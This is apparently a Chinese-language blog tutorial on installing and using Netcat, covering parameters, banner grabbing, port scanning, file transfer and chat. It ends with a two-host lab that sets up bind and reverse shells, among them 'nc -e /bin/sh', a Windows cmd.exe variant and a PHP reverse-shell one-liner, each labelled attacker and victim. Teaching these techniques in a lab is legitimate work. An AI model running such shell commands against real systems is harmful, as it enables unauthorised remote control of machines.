Netcat安装与使用(nc)
Netcat安装与使用
- 1.Netcat简介
- 1.1.Netcat安装
- 1.1.1.安装整体流程
- 1.1.1.1.安装依赖
- 1.1.1.2.安装Netcat
- 1.1.1.3.配置环境变量
- 1.1.1.4.测试
- 1.2.Netcat基本功能
- 1.3.Netcat常用参数
- 2.Netcat用法
- 2.1.前期准备
- 2.2.banner相关信息抓取
- 2.3.端口扫描
- 2.3.1.扫描指定端口
- 2.3.2.扫描指定端口段
- 2.4.监听端口
- 2.5.文件传输
- 2.5.1.监听
- 2.5.2.发送
- 2.6.简易聊天
- 2.7.获取shell
- 2.7.1.正向获取shell
- 2.7.1.1.攻击者
- 2.7.1.2.攻击者
- 2.7.2.反向获取shell
- 2.7.2.1.攻击者
- 2.7.2.2.受害者
- 2.8.其它获取shell
- 2.8.1.PHP反弹shell
- 2.8.1.1.生成反弹命令
- 2.8.1.2.攻击者
- 2.8.1.3.受害者
1.Netcat简介
Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
1.1.Netcat安装
在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
Windows中可以自行搜索安装,官网链接:官网
1.1.1.安装整体流程
1.1.1.1.安装依赖
命令:sudo yum install glibc*

1.1.1.2.安装Netcat
命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install

1.1.1.3.配置环境变量
命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin

1.1.1.4.测试
这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。

1.2.Netcat基本功能
telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。
1.3.Netcat常用参数
Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。
| 参数 | 介绍 |
|---|---|
| -h | 查看帮助信息。 |
| -l | 监听模式,等待其他计算机连接。 |
| -p | 指定监听的端口号。 |
| -u | 使用UDP协议。 |
| -v | 输出详细信息,如建立连接时显示IP地址和端口号。 |
| -n | 不使用DNS查找,使用IP地址进行连接。 |
| -z | 将输入/输出功能关闭,进行端口扫描。 |
| -s | 指定本地的IP地址。 |
| -e | 在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。 |
| -w | 设置超时时间,等待连接或数据的时间。 |
| -c | 发送指定字节数的数据后关闭连接。 |
| -i | 设置发送数据的时间间隔。 |
| -q | 设置程序退出前的最大延迟时间。 |
| -k | 启用TCP保持活动状态。 |
| -r | 设置随机本地端口号。 |
| -t | 以telnet形式应答。 |
2.Netcat用法
nc常常跟着的参数有两个,一个是n、一个是v。
v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。
2.1.前期准备
两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
kali主机:192.168.10.20
centos7主机:192.168.10.30
2.2.banner相关信息抓取
kali命令:nc -nv 192.168.10.30 22

2.3.端口扫描
如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。
2.3.1.扫描指定端口
kali命令:nc -v 192.168.10.30

2.3.2.扫描指定端口段
kali命令:nc -vz 192.168.10.30 20-100

2.4.监听端口
监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。
云服务器命令:nc -lp 8080

2.5.文件传输
首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。
2.5.1.监听
这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。
kali命令:nc -lp 333 > 1.txt

2.5.2.发送
这里设置centos7为发送,将当前目录下的2.txt发送至kail。
centos7命令:nc -vn 192.168.10.20 333 < 2.txt

2.6.简易聊天
nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
为了区分,kali上输入的是数字,而centos7上输入的字母。
kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333


2.7.获取shell
这里默认kail系统为攻击者、centos7系统为受害者。
2.7.1.正向获取shell
正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。
2.7.1.1.攻击者
kali命令:nc -lvp 4444 -e /bin/sh
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe

2.7.1.2.攻击者
centos7命令:netcat 192.168.10.20 4444

2.7.2.反向获取shell
客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。
2.7.2.1.攻击者
kali命令:nc -lvp 4444

2.7.2.2.受害者
centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe

2.8.其它获取shell
这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
官网:反弹shell命令一键生成

2.8.1.PHP反弹shell
2.8.1.1.生成反弹命令
这里使用官网中配置,选择php即可生成反弹shell。
命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

2.8.1.2.攻击者
这里的攻击者就是kali,按照官网上开启监听。
kali命令:nc -lvnp 7777

2.8.1.3.受害者
这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。
centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

相关文章:
Netcat安装与使用(nc)
Netcat安装与使用1.Netcat简介1.1.Netcat安装1.1.1.安装整体流程1.1.1.1.安装依赖1.1.1.2.安装Netcat1.1.1.3.配置环境变量1.1.1.4.测试1.2.Netcat基本功能1.3.Netcat常用参数2.Netcat用法2.1.前期准备2.2.banner相关信息抓取2.3.端口扫描2.3.1.扫描指定端口2.3.2.扫描指定端口…...
蓝桥杯:聪明的猴子
题目链接:聪明的猴子https://www.lanqiao.cn/problems/862/learning/ 目录 题目描述 输入描述 输出描述 输入输出样例 运行限制 解题思路: 最小生成树 AC代码(Java): 课后练习: 题目描述 在一个热带雨林中生存…...
Spring Boot应用如何快速接入Prometheus监控
1. Micrometer简介Micrometer为Java平台上的性能数据收集提供了一个通用的API,它提供了多种度量指标类型(Timers、Guauges、Counters等),同时支持接入不同的监控系统,例如Influxdb、Graphite、Prometheus等。可以通过M…...
vscode远程调试python
目的 注意:这里我们想要实现的是:用vscode 使用remote ssh打开project,然后直接在project里面进行debug,而不需要 在本地vscode目录打开一样的project。 假设大家已经会使用remote ssh打开远程服务器的代码了,那么只…...
Spring Boot 框架 集成 Knife4j(内含源代码)
Spring Boot 框架 集成 Knife4j(内含源代码) 源代码下载链接地址:https://download.csdn.net/download/weixin_46411355/87480176 目录Spring Boot 框架 集成 Knife4j(内含源代码)源代码下载链接地址:[htt…...
什么蓝牙耳机适合打游戏?打游戏不延迟的蓝牙耳机
为了提升游戏体验,除了配置强悍的主机外,与之搭配蓝牙耳机等外设产品也尤为重要,今天就带大家来了解一下以下几款适合玩游戏,低延迟操作的蓝牙耳机。 第一款:南卡小音舱蓝牙耳机 参考价格:239元 推荐理由…...
【项目设计】高并发内存池(一)[项目介绍|内存池介绍|定长内存池的实现]
🎇C学习历程:入门 博客主页:一起去看日落吗持续分享博主的C学习历程博主的能力有限,出现错误希望大家不吝赐教分享给大家一句我很喜欢的话: 也许你现在做的事情,暂时看不到成果,但不要忘记&…...
初识MySQL下载与安装【快速掌握知识点】
目录 前言 MySQL版本 MySQL类型 MySQL官网有.zip和.msi两种安装形式; MySQL 下载 1、MySQL 属于 Oracle 旗下产品,进入Oracle官网下载 2、点击产品,找到MySQL 3、进入MySQL页面 4、点击Download(下载)&#x…...
如何终止一个线程
如何终止一个线程 是使用 thread.stop() 吗? public class ThreadDemo extends Thread{Overridepublic void run() {try {Thread.sleep(10000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println("this is demo thread :"Thre…...
上岸!选择你的隐私计算导师!
开放隐私计算 开放隐私计算开放隐私计算OpenMPC是国内第一个且影响力最大的隐私计算开放社区。社区秉承开放共享的精神,专注于隐私计算行业的研究与布道。社区致力于隐私计算技术的传播,愿成为中国 “隐私计算最后一公里的服务区”。183篇原创内容公众号…...
go gin学习记录5
有了前面几节的学习,如果做个简单的web服务端已经可以完成了。 这节来做一下优化。 我们实验了3种SQL写入的方法,但是发现每一种都需要在方法中去做数据库链接的操作,有些重复了。 所以,我们把这部分提取出来,数据库链…...
PyQt5数据库开发2 5.1 QSqlQueryModel
目录 一、Qt窗体设计 1. 新建Qt项目 2. 拷贝4-3的部分组件过来 3. 添加资源文件 4. 创建Action 5. 添加工具栏 6. 创建菜单项 7. 关闭Action的实现 8. 调整布局 8.1 调整两个groupbox的布局 8.3 为窗体设置全局布局 二、代码拷贝和删除 1. 新建项目目录 2. 编译…...
MySQL-redo log和undo log
什么是事务 事务是由数据库中一系列的访问和更新组成的逻辑执行单元 事务的逻辑单元中可以是一条SQL语句,也可以是一段SQL逻辑,这段逻辑要么全部执行成功,要么全部执行失败 举个最常见的例子,你早上出去买早餐,支付…...
阿里云ECS TOP性能提升超20%!KeenTune助力倚天+Alinux3达成开机即用的全栈性能调优 | 龙蜥技术
文/KeenTune SIG01阿里云 ECS 上售卖页新增“应用加速”功能2023年1月12日 阿里云 ECS 的售卖页有了一些新的变化,在用户选择倚天 Alinux3 新建实例时,多了一个新的选项“应用加速”。这个功能是 阿里云 ECS 基于 KeenTune 提供典型云场景的开机即用的全…...
华为OD机试真题Python实现【快递业务站】真题+解题思路+代码(20222023)
快递业务站 题目 快递业务范围有 N 个站点,A 站点与 B 站点可以中转快递,则认为 A-B 站可达, 如果 A-B 可达,B-C 可达,则 A-C 可达。 现在给 N 个站点编号 0、1、…n-1,用 s[i][j]表示 i-j 是否可达, s[i][j] = 1表示 i-j可达,s[i][j] = 0表示 i-j 不可达。 现用二维…...
【c语言】预处理
🚀write in front🚀 📜所属专栏:> c语言学习 🛰️博客主页:睿睿的博客主页 🛰️代码仓库:🎉VS2022_C语言仓库 🎡您的点赞、关注、收藏、评论,是…...
嵌入式常用知识
12、并发和并行的区别? 最本质的区别就是:并发是轮流处理多个任务,并行是同时处理多个任务。 你吃饭吃到一半,电话来了,你一直到吃完了以后才去接,这就说明你不支持并发也不支持并行。 你吃饭吃到一半&…...
和平精英五曜赐福返场,老款玛莎返场来了
和平精英五曜赐福返场,老款玛莎返场来了!新款如何选择! 关于返场的新消息,都说云南百收SEO解说消息不准,之前看过文章的应该会知道,全网只有云南百收SEO解说发了。玛莎返场,快喊你的阿姨来看&a…...
React从入门到精通二
React从入门到精通之购物车案例1. 购物车需求说明使用到的data list2. 项目code1. 购物车需求说明 list data展示到列表中每个item的通过按钮来控制购买的数据量删除按钮可以删除当前的itemTotal Price计算当前购物车的总的价格 使用到的data list const books [{id: 1,name…...
【likeshop多商户】电子面单商家直播上线啦~
likeshop多商户商城v2.2.0版本更新啦! 新增功能: 商家直播 单子面单 优化: 个人中心优惠券数量统计优化 修复: 秒杀商品待审核时,下单价格计算错误 个人中心修改头像后地址保存错误 「商家直播」 提升品牌知名度…...
接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
python报错No module named ‘tensorflow.keras‘
是由于不同版本的tensorflow下的keras所在的路径不同,结合所安装的tensorflow的目录结构修改from语句即可。 原语句: from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后: from tensorflow.python.keras.lay…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?
现有的 Redis 分布式锁库(如 Redisson)相比于开发者自己基于 Redis 命令(如 SETNX, EXPIRE, DEL)手动实现分布式锁,提供了巨大的便利性和健壮性。主要体现在以下几个方面: 原子性保证 (Atomicity)ÿ…...
AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...
GraphQL 实战篇:Apollo Client 配置与缓存
GraphQL 实战篇:Apollo Client 配置与缓存 上一篇:GraphQL 入门篇:基础查询语法 依旧和上一篇的笔记一样,主实操,没啥过多的细节讲解,代码具体在: https://github.com/GoldenaArcher/graphql…...
